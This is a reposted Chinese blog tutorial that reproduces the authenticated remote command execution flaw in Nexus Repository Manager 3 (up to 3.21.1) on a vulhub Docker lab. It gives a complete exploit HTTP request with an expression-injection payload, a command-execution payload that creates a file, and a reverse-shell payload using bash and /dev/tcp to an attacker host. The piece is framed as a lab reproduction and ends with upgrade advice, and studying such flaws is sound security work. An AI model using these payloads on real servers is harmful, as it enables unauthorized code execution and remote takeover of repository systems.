温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

发布时间:2021-12-29 17:49:53 来源:亿速云 阅读:123 作者:柒染 栏目:安全技术

本篇文章给大家分享的是有关如何进行Nexus Repository Manager 3远程命令执行漏洞的复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

0x00简介

nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。

主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。

0x01漏洞概述

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限

0x02影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

0x03环境搭建

1、本次漏洞环境使用vulhub搭建,在有docker环境的虚拟机中下载

git clone https://github.com/vulhub/vulhub.git

2、进入漏洞目录,执行docker-compose up -d 命令拉取漏洞环境

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

3、看到绿色的done表示拉取成功,在浏览器访问http://your-ip:8081查看页面

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

0x04漏洞复现

1、首先使用账号密码admin/admin登录后台

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

2、登录后使用f12找到cookie复制当前的csrf-Token

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

3、使用burp进行抓包,替换以下数据包,然后把自己的cookie和csrf-Token粘贴上去,然后发包即可看到执行了9*9

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 172.16.1.147:8081

Content-Length: 203

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN: 0.16290768329434402

Content-Type: application/json

Accept: */*

Origin: http://172.16.1.147:8081

Referer: http://172.16.1.147:8081/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.16290768329434402; NXSESSIONID=69d8dc11-45ac-44b6-aa68-65ca1d6b68ff

Connection: close




{

"name": "internal",

"online": true,

"storage": {

"blobStoreName": "default",

"strictContentTypeValidation": true

},

"group": {

"memberNames": ["$\\A{9*9}"]

}

}

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

4、把执行9*9修改为创建一个文件,进入docker中查看创建成功

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

5、执行反弹shell把执行写入文件的payload修改成反弹shell的命令,使用nc进行监听,点击发送查看nc的监听看到返回了shell

"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}"

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

0x05修复建议

1、官方已发布新版本修复了该漏洞,建议升级至最新版本

以上就是如何进行Nexus Repository Manager 3远程命令执行漏洞的复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI